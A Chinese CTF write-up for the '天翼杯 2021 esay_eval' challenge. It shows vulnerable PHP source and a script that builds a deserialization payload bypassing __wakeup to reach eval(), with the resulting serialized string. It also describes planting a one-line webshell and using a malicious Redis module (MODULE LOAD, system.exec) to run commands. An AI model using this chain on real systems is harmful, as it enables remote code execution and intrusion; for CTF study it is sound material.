[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

进来就看到源码,是一道php反序列的题

 <?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

扫视一遍首先看到的是A里面的call方法有个eval,要触发A里面的call需要B里面的destruct方法,同时要满足条件1
(1)绕过wakeup函数

B里面的$this->a需要指向A,才能触发A里面的call
(2)B->a=new A;

最后一个if检测:
匹配形如"B":xxxxx:或"A":yyyyy:这样的字符串,并捕获其中xxx的部分判断每个字符里面有没有1如果没有则输出,因此我们需要用php类名大小写不敏感的特性,new的是时候用小写字母

总结:

A->call=>B->destruct

(1)绕过wakeup函数
(2)B->a=new A;

开始构造

 <?php
class a{
    public $code = "phpinfo();";
    function __call($method,$args){
        eval($this->code);
        
    }
}

class b{
    function __construct(){
        $this->a=new a;
    }
    function __destruct(){
        echo $this->a->a();
    }
}
$a=new b();
echo serialize($a);

这时候w3c也出现phpinfo了。。

image-20240331141724622

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

为了绕过wakeup,现在我们把生成的序列化对象修改一下,把b后面的1改成2

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

image-20240331141900326

成功执行了

接下来写入一句话木马用蚁剑连接

image-20240331143258920

蚁剑连上后发现权限不够,需要提权

image-20240331143326428

目录下有个 config.php.swp

image-20240331143549367

这个是vim突然崩溃产生的文件,可以用vim -r filename恢复到之前的编辑状态

image-20240331173411058

经过测试mysql连不上,看样子是要用redis连了,蚁剑有自带的redis蚁剑管理插件:
redis蚁剑管理插件

恶意exp:
恶意exp

安装好后在这里打开插件

image-20240331173814135

image-20240331173837926

随后将exp.so上传到/var/www/html,连接redis执行命令

MODULE LOAD “/var/www/html/exp.so”

然后再rce里执行

system.exec “你的命令”

image-20240331174701179

成功拿到flag

posted @ 2024-03-31 17:48  redfish999  阅读(53)  评论(0编辑  收藏  举报